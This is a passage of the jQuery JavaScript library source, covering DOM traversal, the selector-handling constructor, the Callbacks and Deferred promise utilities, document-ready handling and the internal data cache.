	while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
		if ( elem.nodeType === 1 ) {
			if ( truncate && jQuery( elem ).is( until ) ) {
				break;
			}
			matched.push( elem );
		}
	}
	return matched;
};


var siblings = function( n, elem ) {
	var matched = [];

	for ( ; n; n = n.nextSibling ) {
		if ( n.nodeType === 1 && n !== elem ) {
			matched.push( n );
		}
	}

	return matched;
};


var rneedsContext = jQuery.expr.match.needsContext;



function nodeName( elem, name ) {

	return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();

}
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );



// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
	if ( isFunction( qualifier ) ) {
		return jQuery.grep( elements, function( elem, i ) {
			return !!qualifier.call( elem, i, elem ) !== not;
		} );
	}

	// Single element
	if ( qualifier.nodeType ) {
		return jQuery.grep( elements, function( elem ) {
			return ( elem === qualifier ) !== not;
		} );
	}

	// Arraylike of elements (jQuery, arguments, Array)
	if ( typeof qualifier !== "string" ) {
		return jQuery.grep( elements, function( elem ) {
			return ( indexOf.call( qualifier, elem ) > -1 ) !== not;
		} );
	}

	// Filtered directly for both simple and complex selectors
	return jQuery.filter( qualifier, elements, not );
}

jQuery.filter = function( expr, elems, not ) {
	var elem = elems[ 0 ];

	if ( not ) {
		expr = ":not(" + expr + ")";
	}

	if ( elems.length === 1 && elem.nodeType === 1 ) {
		return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];
	}

	return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
		return elem.nodeType === 1;
	} ) );
};

jQuery.fn.extend( {
	find: function( selector ) {
		var i, ret,
			len = this.length,
			self = this;

		if ( typeof selector !== "string" ) {
			return this.pushStack( jQuery( selector ).filter( function() {
				for ( i = 0; i < len; i++ ) {
					if ( jQuery.contains( self[ i ], this ) ) {
						return true;
					}
				}
			} ) );
		}

		ret = this.pushStack( [] );

		for ( i = 0; i < len; i++ ) {
			jQuery.find( selector, self[ i ], ret );
		}

		return len > 1 ? jQuery.uniqueSort( ret ) : ret;
	},
	filter: function( selector ) {
		return this.pushStack( winnow( this, selector || [], false ) );
	},
	not: function( selector ) {
		return this.pushStack( winnow( this, selector || [], true ) );
	},
	is: function( selector ) {
		return !!winnow(
			this,

			// If this is a positional/relative selector, check membership in the returned set
			// so $("p:first").is("p:last") won't return true for a doc with two "p".
			typeof selector === "string" && rneedsContext.test( selector ) ?
				jQuery( selector ) :
				selector || [],
			false
		).length;
	}
} );


// Initialize a jQuery object


// A central reference to the root jQuery(document)
var rootjQuery,

	// A simple way to check for HTML strings
	// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
	// Strict HTML recognition (#11290: must start with <)
	// Shortcut simple #id case for speed
	rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,

	init = jQuery.fn.init = function( selector, context, root ) {
		var match, elem;

		// HANDLE: $(""), $(null), $(undefined), $(false)
		if ( !selector ) {
			return this;
		}

		// Method init() accepts an alternate rootjQuery
		// so migrate can support jQuery.sub (gh-2101)
		root = root || rootjQuery;

		// Handle HTML strings
		if ( typeof selector === "string" ) {
			if ( selector[ 0 ] === "<" &&
				selector[ selector.length - 1 ] === ">" &&
				selector.length >= 3 ) {

				// Assume that strings that start and end with <> are HTML and skip the regex check
				match = [ null, selector, null ];

			} else {
				match = rquickExpr.exec( selector );
			}

			// Match html or make sure no context is specified for #id
			if ( match && ( match[ 1 ] || !context ) ) {

				// HANDLE: $(html) -> $(array)
				if ( match[ 1 ] ) {
					context = context instanceof jQuery ? context[ 0 ] : context;

					// Option to run scripts is true for back-compat
					// Intentionally let the error be thrown if parseHTML is not present
					jQuery.merge( this, jQuery.parseHTML(
						match[ 1 ],
						context && context.nodeType ? context.ownerDocument || context : document,
						true
					) );

					// HANDLE: $(html, props)
					if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
						for ( match in context ) {

							// Properties of context are called as methods if possible
							if ( isFunction( this[ match ] ) ) {
								this[ match ]( context[ match ] );

							// ...and otherwise set as attributes
							} else {
								this.attr( match, context[ match ] );
							}
						}
					}

					return this;

				// HANDLE: $(#id)
				} else {
					elem = document.getElementById( match[ 2 ] );

					if ( elem ) {

						// Inject the element directly into the jQuery object
						this[ 0 ] = elem;
						this.length = 1;
					}
					return this;
				}

			// HANDLE: $(expr, $(...))
			} else if ( !context || context.jquery ) {
				return ( context || root ).find( selector );

			// HANDLE: $(expr, context)
			// (which is just equivalent to: $(context).find(expr)
			} else {
				return this.constructor( context ).find( selector );
			}

		// HANDLE: $(DOMElement)
		} else if ( selector.nodeType ) {
			this[ 0 ] = selector;
			this.length = 1;
			return this;

		// HANDLE: $(function)
		// Shortcut for document ready
		} else if ( isFunction( selector ) ) {
			return root.ready !== undefined ?
				root.ready( selector ) :

				// Execute immediately if ready is not present
				selector( jQuery );
		}

		return jQuery.makeArray( selector, this );
	};

// Give the init function the jQuery prototype for later instantiation
init.prototype = jQuery.fn;

// Initialize central reference
rootjQuery = jQuery( document );


var rparentsprev = /^(?:parents|prev(?:Until|All))/,

	// Methods guaranteed to produce a unique set when starting from a unique set
	guaranteedUnique = {
		children: true,
		contents: true,
		next: true,
		prev: true
	};

jQuery.fn.extend( {
	has: function( target ) {
		var targets = jQuery( target, this ),
			l = targets.length;

		return this.filter( function() {
			var i = 0;
			for ( ; i < l; i++ ) {
				if ( jQuery.contains( this, targets[ i ] ) ) {
					return true;
				}
			}
		} );
	},

	closest: function( selectors, context ) {
		var cur,
			i = 0,
			l = this.length,
			matched = [],
			targets = typeof selectors !== "string" && jQuery( selectors );

		// Positional selectors never match, since there's no _selection_ context
		if ( !rneedsContext.test( selectors ) ) {
			for ( ; i < l; i++ ) {
				for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {

					// Always skip document fragments
					if ( cur.nodeType < 11 && ( targets ?
						targets.index( cur ) > -1 :

						// Don't pass non-elements to Sizzle
						cur.nodeType === 1 &&
							jQuery.find.matchesSelector( cur, selectors ) ) ) {

						matched.push( cur );
						break;
					}
				}
			}
		}

		return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
	},

	// Determine the position of an element within the set
	index: function( elem ) {

		// No argument, return index in parent
		if ( !elem ) {
			return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
		}

		// Index in selector
		if ( typeof elem === "string" ) {
			return indexOf.call( jQuery( elem ), this[ 0 ] );
		}

		// Locate the position of the desired element
		return indexOf.call( this,

			// If it receives a jQuery object, the first element is used
			elem.jquery ? elem[ 0 ] : elem
		);
	},

	add: function( selector, context ) {
		return this.pushStack(
			jQuery.uniqueSort(
				jQuery.merge( this.get(), jQuery( selector, context ) )
			)
		);
	},

	addBack: function( selector ) {
		return this.add( selector == null ?
			this.prevObject : this.prevObject.filter( selector )
		);
	}
} );

function sibling( cur, dir ) {
	while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}
	return cur;
}

jQuery.each( {
	parent: function( elem ) {
		var parent = elem.parentNode;
		return parent && parent.nodeType !== 11 ? parent : null;
	},
	parents: function( elem ) {
		return dir( elem, "parentNode" );
	},
	parentsUntil: function( elem, _i, until ) {
		return dir( elem, "parentNode", until );
	},
	next: function( elem ) {
		return sibling( elem, "nextSibling" );
	},
	prev: function( elem ) {
		return sibling( elem, "previousSibling" );
	},
	nextAll: function( elem ) {
		return dir( elem, "nextSibling" );
	},
	prevAll: function( elem ) {
		return dir( elem, "previousSibling" );
	},
	nextUntil: function( elem, _i, until ) {
		return dir( elem, "nextSibling", until );
	},
	prevUntil: function( elem, _i, until ) {
		return dir( elem, "previousSibling", until );
	},
	siblings: function( elem ) {
		return siblings( ( elem.parentNode || {} ).firstChild, elem );
	},
	children: function( elem ) {
		return siblings( elem.firstChild );
	},
	contents: function( elem ) {
		if ( elem.contentDocument != null &&

			// Support: IE 11+
			// <object> elements with no `data` attribute has an object
			// `contentDocument` with a `null` prototype.
			getProto( elem.contentDocument ) ) {

			return elem.contentDocument;
		}

		// Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only
		// Treat the template element as a regular one in browsers that
		// don't support it.
		if ( nodeName( elem, "template" ) ) {
			elem = elem.content || elem;
		}

		return jQuery.merge( [], elem.childNodes );
	}
}, function( name, fn ) {
	jQuery.fn[ name ] = function( until, selector ) {
		var matched = jQuery.map( this, fn, until );

		if ( name.slice( -5 ) !== "Until" ) {
			selector = until;
		}

		if ( selector && typeof selector === "string" ) {
			matched = jQuery.filter( selector, matched );
		}

		if ( this.length > 1 ) {

			// Remove duplicates
			if ( !guaranteedUnique[ name ] ) {
				jQuery.uniqueSort( matched );
			}

			// Reverse order for parents* and prev-derivatives
			if ( rparentsprev.test( name ) ) {
				matched.reverse();
			}
		}

		return this.pushStack( matched );
	};
} );
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );



// Convert String-formatted options into Object-formatted ones
function createOptions( options ) {
	var object = {};
	jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {
		object[ flag ] = true;
	} );
	return object;
}

/*
 * Create a callback list using the following parameters:
 *
 *	options: an optional list of space-separated options that will change how
 *			the callback list behaves or a more traditional option object
 *
 * By default a callback list will act like an event callback list and can be
 * "fired" multiple times.
 *
 * Possible options:
 *
 *	once:			will ensure the callback list can only be fired once (like a Deferred)
 *
 *	memory:			will keep track of previous values and will call any callback added
 *					after the list has been fired right away with the latest "memorized"
 *					values (like a Deferred)
 *
 *	unique:			will ensure a callback can only be added once (no duplicate in the list)
 *
 *	stopOnFalse:	interrupt callings when a callback returns false
 *
 */
jQuery.Callbacks = function( options ) {

	// Convert options from String-formatted to Object-formatted if needed
	// (we check in cache first)
	options = typeof options === "string" ?
		createOptions( options ) :
		jQuery.extend( {}, options );

	var // Flag to know if list is currently firing
		firing,

		// Last fire value for non-forgettable lists
		memory,

		// Flag to know if list was already fired
		fired,

		// Flag to prevent firing
		locked,

		// Actual callback list
		list = [],

		// Queue of execution data for repeatable lists
		queue = [],

		// Index of currently firing callback (modified by add/remove as needed)
		firingIndex = -1,

		// Fire callbacks
		fire = function() {

			// Enforce single-firing
			locked = locked || options.once;

			// Execute callbacks for all pending executions,
			// respecting firingIndex overrides and runtime changes
			fired = firing = true;
			for ( ; queue.length; firingIndex = -1 ) {
				memory = queue.shift();
				while ( ++firingIndex < list.length ) {

					// Run callback and check for early termination
					if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
						options.stopOnFalse ) {

						// Jump to end and forget the data so .add doesn't re-fire
						firingIndex = list.length;
						memory = false;
					}
				}
			}

			// Forget the data if we're done with it
			if ( !options.memory ) {
				memory = false;
			}

			firing = false;

			// Clean up if we're done firing for good
			if ( locked ) {

				// Keep an empty list if we have data for future add calls
				if ( memory ) {
					list = [];

				// Otherwise, this object is spent
				} else {
					list = "";
				}
			}
		},

		// Actual Callbacks object
		self = {

			// Add a callback or a collection of callbacks to the list
			add: function() {
				if ( list ) {

					// If we have memory from a past run, we should fire after adding
					if ( memory && !firing ) {
						firingIndex = list.length - 1;
						queue.push( memory );
					}

					( function add( args ) {
						jQuery.each( args, function( _, arg ) {
							if ( isFunction( arg ) ) {
								if ( !options.unique || !self.has( arg ) ) {
									list.push( arg );
								}
							} else if ( arg && arg.length && toType( arg ) !== "string" ) {

								// Inspect recursively
								add( arg );
							}
						} );
					} )( arguments );

					if ( memory && !firing ) {
						fire();
					}
				}
				return this;
			},

			// Remove a callback from the list
			remove: function() {
				jQuery.each( arguments, function( _, arg ) {
					var index;
					while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
						list.splice( index, 1 );

						// Handle firing indexes
						if ( index <= firingIndex ) {
							firingIndex--;
						}
					}
				} );
				return this;
			},

			// Check if a given callback is in the list.
			// If no argument is given, return whether or not list has callbacks attached.
			has: function( fn ) {
				return fn ?
					jQuery.inArray( fn, list ) > -1 :
					list.length > 0;
			},

			// Remove all callbacks from the list
			empty: function() {
				if ( list ) {
					list = [];
				}
				return this;
			},

			// Disable .fire and .add
			// Abort any current/pending executions
			// Clear all callbacks and values
			disable: function() {
				locked = queue = [];
				list = memory = "";
				return this;
			},
			disabled: function() {
				return !list;
			},

			// Disable .fire
			// Also disable .add unless we have memory (since it would have no effect)
			// Abort any pending executions
			lock: function() {
				locked = queue = [];
				if ( !memory && !firing ) {
					list = memory = "";
				}
				return this;
			},
			locked: function() {
				return !!locked;
			},

			// Call all callbacks with the given context and arguments
			fireWith: function( context, args ) {
				if ( !locked ) {
					args = args || [];
					args = [ context, args.slice ? args.slice() : args ];
					queue.push( args );
					if ( !firing ) {
						fire();
					}
				}
				return this;
			},

			// Call all the callbacks with the given arguments
			fire: function() {
				self.fireWith( this, arguments );
				return this;
			},

			// To know if the callbacks have already been called at least once
			fired: function() {
				return !!fired;
			}
		};

	return self;
};


function Identity( v ) {
	return v;
}
function Thrower( ex ) {
	throw ex;
}

function adoptValue( value, resolve, reject, noValue ) {
	var method;

	try {

		// Check for promise aspect first to privilege synchronous behavior
		if ( value && isFunction( ( method = value.promise ) ) ) {
			method.call( value ).done( resolve ).fail( reject );

		// Other thenables
		} else if ( value && isFunction( ( method = value.then ) ) ) {
			method.call( value, resolve, reject );

		// Other non-thenables
		} else {

			// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:
			// * false: [ value ].slice( 0 ) => resolve( value )
			// * true: [ value ].slice( 1 ) => resolve()
			resolve.apply( undefined, [ value ].slice( noValue ) );
		}

	// For Promises/A+, convert exceptions into rejections
	// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in
	// Deferred#then to conditionally suppress rejection.
	} catch ( value ) {

		// Support: Android 4.0 only
		// Strict mode functions invoked without .call/.apply get global-object context
		reject.apply( undefined, [ value ] );
	}
}

jQuery.extend( {

	Deferred: function( func ) {
		var tuples = [

				// action, add listener, callbacks,
				// ... .then handlers, argument index, [final state]
				[ "notify", "progress", jQuery.Callbacks( "memory" ),
					jQuery.Callbacks( "memory" ), 2 ],
				[ "resolve", "done", jQuery.Callbacks( "once memory" ),
					jQuery.Callbacks( "once memory" ), 0, "resolved" ],
				[ "reject", "fail", jQuery.Callbacks( "once memory" ),
					jQuery.Callbacks( "once memory" ), 1, "rejected" ]
			],
			state = "pending",
			promise = {
				state: function() {
					return state;
				},
				always: function() {
					deferred.done( arguments ).fail( arguments );
					return this;
				},
				"catch": function( fn ) {
					return promise.then( null, fn );
				},

				// Keep pipe for back-compat
				pipe: function( /* fnDone, fnFail, fnProgress */ ) {
					var fns = arguments;

					return jQuery.Deferred( function( newDefer ) {
						jQuery.each( tuples, function( _i, tuple ) {

							// Map tuples (progress, done, fail) to arguments (done, fail, progress)
							var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];

							// deferred.progress(function() { bind to newDefer or newDefer.notify })
							// deferred.done(function() { bind to newDefer or newDefer.resolve })
							// deferred.fail(function() { bind to newDefer or newDefer.reject })
							deferred[ tuple[ 1 ] ]( function() {
								var returned = fn && fn.apply( this, arguments );
								if ( returned && isFunction( returned.promise ) ) {
									returned.promise()
										.progress( newDefer.notify )
										.done( newDefer.resolve )
										.fail( newDefer.reject );
								} else {
									newDefer[ tuple[ 0 ] + "With" ](
										this,
										fn ? [ returned ] : arguments
									);
								}
							} );
						} );
						fns = null;
					} ).promise();
				},
				then: function( onFulfilled, onRejected, onProgress ) {
					var maxDepth = 0;
					function resolve( depth, deferred, handler, special ) {
						return function() {
							var that = this,
								args = arguments,
								mightThrow = function() {
									var returned, then;

									// Support: Promises/A+ section 2.3.3.3.3
									// https://promisesaplus.com/#point-59
									// Ignore double-resolution attempts
									if ( depth < maxDepth ) {
										return;
									}

									returned = handler.apply( that, args );

									// Support: Promises/A+ section 2.3.1
									// https://promisesaplus.com/#point-48
									if ( returned === deferred.promise() ) {
										throw new TypeError( "Thenable self-resolution" );
									}

									// Support: Promises/A+ sections 2.3.3.1, 3.5
									// https://promisesaplus.com/#point-54
									// https://promisesaplus.com/#point-75
									// Retrieve `then` only once
									then = returned &&

										// Support: Promises/A+ section 2.3.4
										// https://promisesaplus.com/#point-64
										// Only check objects and functions for thenability
										( typeof returned === "object" ||
											typeof returned === "function" ) &&
										returned.then;

									// Handle a returned thenable
									if ( isFunction( then ) ) {

										// Special processors (notify) just wait for resolution
										if ( special ) {
											then.call(
												returned,
												resolve( maxDepth, deferred, Identity, special ),
												resolve( maxDepth, deferred, Thrower, special )
											);

										// Normal processors (resolve) also hook into progress
										} else {

											// ...and disregard older resolution values
											maxDepth++;

											then.call(
												returned,
												resolve( maxDepth, deferred, Identity, special ),
												resolve( maxDepth, deferred, Thrower, special ),
												resolve( maxDepth, deferred, Identity,
													deferred.notifyWith )
											);
										}

									// Handle all other returned values
									} else {

										// Only substitute handlers pass on context
										// and multiple values (non-spec behavior)
										if ( handler !== Identity ) {
											that = undefined;
											args = [ returned ];
										}

										// Process the value(s)
										// Default process is resolve
										( special || deferred.resolveWith )( that, args );
									}
								},

								// Only normal processors (resolve) catch and reject exceptions
								process = special ?
									mightThrow :
									function() {
										try {
											mightThrow();
										} catch ( e ) {

											if ( jQuery.Deferred.exceptionHook ) {
												jQuery.Deferred.exceptionHook( e,
													process.stackTrace );
											}

											// Support: Promises/A+ section 2.3.3.3.4.1
											// https://promisesaplus.com/#point-61
											// Ignore post-resolution exceptions
											if ( depth + 1 >= maxDepth ) {

												// Only substitute handlers pass on context
												// and multiple values (non-spec behavior)
												if ( handler !== Thrower ) {
													that = undefined;
													args = [ e ];
												}

												deferred.rejectWith( that, args );
											}
										}
									};

							// Support: Promises/A+ section 2.3.3.3.1
							// https://promisesaplus.com/#point-57
							// Re-resolve promises immediately to dodge false rejection from
							// subsequent errors
							if ( depth ) {
								process();
							} else {

								// Call an optional hook to record the stack, in case of exception
								// since it's otherwise lost when execution goes async
								if ( jQuery.Deferred.getStackHook ) {
									process.stackTrace = jQuery.Deferred.getStackHook();
								}
								window.setTimeout( process );
							}
						};
					}

					return jQuery.Deferred( function( newDefer ) {

						// progress_handlers.add( ... )
						tuples[ 0 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onProgress ) ?
									onProgress :
									Identity,
								newDefer.notifyWith
							)
						);

						// fulfilled_handlers.add( ... )
						tuples[ 1 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onFulfilled ) ?
									onFulfilled :
									Identity
							)
						);

						// rejected_handlers.add( ... )
						tuples[ 2 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onRejected ) ?
									onRejected :
									Thrower
							)
						);
					} ).promise();
				},

				// Get a promise for this deferred
				// If obj is provided, the promise aspect is added to the object
				promise: function( obj ) {
					return obj != null ? jQuery.extend( obj, promise ) : promise;
				}
			},
			deferred = {};

		// Add list-specific methods
		jQuery.each( tuples, function( i, tuple ) {
			var list = tuple[ 2 ],
				stateString = tuple[ 5 ];

			// promise.progress = list.add
			// promise.done = list.add
			// promise.fail = list.add
			promise[ tuple[ 1 ] ] = list.add;

			// Handle state
			if ( stateString ) {
				list.add(
					function() {

						// state = "resolved" (i.e., fulfilled)
						// state = "rejected"
						state = stateString;
					},

					// rejected_callbacks.disable
					// fulfilled_callbacks.disable
					tuples[ 3 - i ][ 2 ].disable,

					// rejected_handlers.disable
					// fulfilled_handlers.disable
					tuples[ 3 - i ][ 3 ].disable,

					// progress_callbacks.lock
					tuples[ 0 ][ 2 ].lock,

					// progress_handlers.lock
					tuples[ 0 ][ 3 ].lock
				);
			}

			// progress_handlers.fire
			// fulfilled_handlers.fire
			// rejected_handlers.fire
			list.add( tuple[ 3 ].fire );

			// deferred.notify = function() { deferred.notifyWith(...) }
			// deferred.resolve = function() { deferred.resolveWith(...) }
			// deferred.reject = function() { deferred.rejectWith(...) }
			deferred[ tuple[ 0 ] ] = function() {
				deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments );
				return this;
			};

			// deferred.notifyWith = list.fireWith
			// deferred.resolveWith = list.fireWith
			// deferred.rejectWith = list.fireWith
			deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
		} );

		// Make the deferred a promise
		promise.promise( deferred );

		// Call given func if any
		if ( func ) {
			func.call( deferred, deferred );
		}

		// All done!
		return deferred;
	},

	// Deferred helper
	when: function( singleValue ) {
		var

			// count of uncompleted subordinates
			remaining = arguments.length,

			// count of unprocessed arguments
			i = remaining,

			// subordinate fulfillment data
			resolveContexts = Array( i ),
			resolveValues = slice.call( arguments ),

			// the primary Deferred
			primary = jQuery.Deferred(),

			// subordinate callback factory
			updateFunc = function( i ) {
				return function( value ) {
					resolveContexts[ i ] = this;
					resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
					if ( !( --remaining ) ) {
						primary.resolveWith( resolveContexts, resolveValues );
					}
				};
			};

		// Single- and empty arguments are adopted like Promise.resolve
		if ( remaining <= 1 ) {
			adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject,
				!remaining );

			// Use .then() to unwrap secondary thenables (cf. gh-3000)
			if ( primary.state() === "pending" ||
				isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {

				return primary.then();
			}
		}

		// Multiple arguments are aggregated like Promise.all array elements
		while ( i-- ) {
			adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject );
		}

		return primary.promise();
	}
} );


// These usually indicate a programmer mistake during development,
// warn about them ASAP rather than swallowing them by default.
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;

jQuery.Deferred.exceptionHook = function( error, stack ) {

	// Support: IE 8 - 9 only
	// Console exists when dev tools are open, which can happen at any time
	if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {
		window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack );
	}
};




jQuery.readyException = function( error ) {
	window.setTimeout( function() {
		throw error;
	} );
};




// The deferred used on DOM ready
var readyList = jQuery.Deferred();

jQuery.fn.ready = function( fn ) {

	readyList
		.then( fn )

		// Wrap jQuery.readyException in a function so that the lookup
		// happens at the time of error handling instead of callback
		// registration.
		.catch( function( error ) {
			jQuery.readyException( error );
		} );

	return this;
};

jQuery.extend( {

	// Is the DOM ready to be used? Set to true once it occurs.
	isReady: false,

	// A counter to track how many items to wait for before
	// the ready event fires. See #6781
	readyWait: 1,

	// Handle when the DOM is ready
	ready: function( wait ) {

		// Abort if there are pending holds or we're already ready
		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
			return;
		}

		// Remember that the DOM is ready
		jQuery.isReady = true;

		// If a normal DOM Ready event fired, decrement, and wait if need be
		if ( wait !== true && --jQuery.readyWait > 0 ) {
			return;
		}

		// If there are functions bound, to execute
		readyList.resolveWith( document, [ jQuery ] );
	}
} );

jQuery.ready.then = readyList.then;

// The ready event handler and self cleanup method
function completed() {
	document.removeEventListener( "DOMContentLoaded", completed );
	window.removeEventListener( "load", completed );
	jQuery.ready();
}

// Catch cases where $(document).ready() is called
// after the browser event has already occurred.
// Support: IE <=9 - 10 only
// Older IE sometimes signals "interactive" too soon
if ( document.readyState === "complete" ||
	( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {

	// Handle it asynchronously to allow scripts the opportunity to delay ready
	window.setTimeout( jQuery.ready );

} else {

	// Use the handy event callback
	document.addEventListener( "DOMContentLoaded", completed );

	// A fallback to window.onload, that will always work
	window.addEventListener( "load", completed );
}




// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
	var i = 0,
		len = elems.length,
		bulk = key == null;

	// Sets many values
	if ( toType( key ) === "object" ) {
		chainable = true;
		for ( i in key ) {
			access( elems, fn, i, key[ i ], true, emptyGet, raw );
		}

	// Sets one value
	} else if ( value !== undefined ) {
		chainable = true;

		if ( !isFunction( value ) ) {
			raw = true;
		}

		if ( bulk ) {

			// Bulk operations run against the entire set
			if ( raw ) {
				fn.call( elems, value );
				fn = null;

			// ...except when executing function values
			} else {
				bulk = fn;
				fn = function( elem, _key, value ) {
					return bulk.call( jQuery( elem ), value );
				};
			}
		}

		if ( fn ) {
			for ( ; i < len; i++ ) {
				fn(
					elems[ i ], key, raw ?
						value :
						value.call( elems[ i ], i, fn( elems[ i ], key ) )
				);
			}
		}
	}

	if ( chainable ) {
		return elems;
	}

	// Gets
	if ( bulk ) {
		return fn.call( elems );
	}

	return len ? fn( elems[ 0 ], key ) : emptyGet;
};


// Matches dashed string for camelizing
var rmsPrefix = /^-ms-/,
	rdashAlpha = /-([a-z])/g;

// Used by camelCase as callback to replace()
function fcamelCase( _all, letter ) {
	return letter.toUpperCase();
}

// Convert dashed to camelCase; used by the css and data modules
// Support: IE <=9 - 11, Edge 12 - 15
// Microsoft forgot to hump their vendor prefix (#9572)
function camelCase( string ) {
	return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
}
var acceptData = function( owner ) {

	// Accepts only:
	//  - Node
	//    - Node.ELEMENT_NODE
	//    - Node.DOCUMENT_NODE
	//  - Object
	//    - Any
	return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
};




function Data() {
	this.expando = jQuery.expando + Data.uid++;
}

Data.uid = 1;

Data.prototype = {

	cache: function( owner ) {

		// Check if the owner object already has a cache
		var value = owner[ this.expando ];

		// If not, create one
		if ( !value ) {
			value = {};

			// We can accept data for non-element nodes in modern browsers,
			// but we should not, see #8335.
			// Always return an empty object.
			if ( acceptData( owner ) ) {

				// If it is a node unlikely to be stringify-ed or looped over
				// use plain assignment
				if ( owner.nodeType ) {
					owner[ this.expando ] = value;

				// Otherwise secure it in a non-enumerable property
				// configurable must be true to allow the property to be
				// deleted when data is removed
				} else {
					Object.defineProperty( owner, this.expando, {
						value: value,
						configurable: true
					} );
				}
			}
		}

		return value;
	},
	set: function( owner, data, value ) {
		var prop,
			cache = this.cache( owner );

		// Handle: [ owner, key, value ] args
		// Always use camelCase key (gh-2257)
		if ( typeof data === "string" ) {
			cache[ camelCase( data ) ] = value;

		// Handle: [ owner, { properties } ] args
		} else {

			// Copy the properties one-by-one to the cache object
			for ( prop in data ) {
				cache[ camelCase( prop ) ] = data[ prop ];
			}
		}
		return cache;
	},
	get: function( owner, key ) {
		return key === undefined ?
			this.cache( owner ) :

			// Always use camelCase key (gh-2257)
			owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];
	},
	access: function( owner, key, value ) {

		// In cases where either:
		//
		//   1. No key was specified
		//   2. A string key was specified, but no value provided
		//
		// Take the "read" path and allow the get method to determine
		// which value to return, respectively either:
		//
		//   1. The entire cache object
		//   2. The data stored at the key
		//
		if ( key === undefined ||
				( ( key && typeof key === "string" ) && value === undefined ) ) {

			return this.get( owner, key );
		}

		// When the key is not a string, or both a key and value
		// are specified, set or extend (existing objects) with either:
		//
		//   1. An object of properties
		//   2. A key and value
		//
		this.set( owner, key, value );

		// Since the "set" path can have two possible entry points
		// return the expected data based on which path was taken[*]
		return value !== undefined ? value : key;
	},
	remove: function( owner, key ) {
		var i,
			cache = owner[ this.expando ];

		if ( cache === undefined ) {
			return;
		}

		if ( key !== undefined ) {

			// Support array or space separated string of keys
			if ( Array.isArray( key ) ) {

				// If key is an array of keys...
				// We always set camelCase keys, so remove that.
				key = key.map( camelCase );
			} else {
				key = camelCase( key );

				// If a key with the spaces exists, use it.
				// Otherwise, create an array by matching non-whitespace
				key = key in cache ?
					[ key ] :
					( key.match( rnothtmlwhite ) || [] );
			}

			i = key.length;

			while ( i-- ) {
				delete cache[ key[ i ] ];
			}
		}

		// Remove the expando if there's no more data
		if ( key === undefined || jQuery.isEmptyObject( cache ) ) {

			// Support: Chrome <=35 - 45
			// Webkit & Blink performance suffers when deleting properties
			// from DOM nodes, so set to undefined instead
			// https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)
			if ( owner.nodeType ) {
				owner[ this.expando ] = undefined;
			} else {
				delete owner[ this.expando ];
			}
		}
	},
	hasData: function( owner ) {
		var cache = owner[ this.expando ];
		return cache !== undefined && !jQuery.isEmptyObject( cache );
	}
};
var dataPriv = new Data();

var dataUser = new Data();



//	Implementation Summary
//
//	1. Enforce API surface and semantic compatibility with 1.9.x branch
//	2. Improve the module's maintainability by reducing the storage
//		paths to a single mechanism.
//	3. Use the same single mechanism to support "private" and "user" data.
//	4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
//	5. Avoid exposing implementation details on user objects (eg. expando properties)
//	6. Provide a clear path for implementation upgrade to WeakMap in 2014

var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
	rmultiDash = /[A-Z]/g;

function getData( data ) {
	if ( data === "true" ) {
		return true;
	}

	if ( data === "false" ) {
		return false;
	}

	if ( data === "null" ) {
		return null;
	}

	// Only convert to a number if it doesn't change the string
	if ( data === +data + "" ) {
		return +data;
	}

	if ( rbrace.test( data ) ) {
		return JSON.parse( data );
	}

	return data;
}

function dataAttr( elem, key, data ) {
	var name;

	// If nothing was found internally, try to fetch any
	// data from the HTML5 data-* attribute
	if ( data === undefined && elem.nodeType === 1 ) {
		name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase();
		data = elem.getAttribute( name );

		if ( typeof data === "string" ) {
			try {
				data = getData( data );
			} catch ( e ) {}

			// Make sure we set the data so it isn't changed later
			dataUser.set( elem, key, data );
		} else {
			data = undefined;
		}
	}
	return data;
}

jQuery.extend( {
	hasData: function( elem ) {
		return dataUser.hasData( elem ) || dataPriv.hasData( elem );
	},

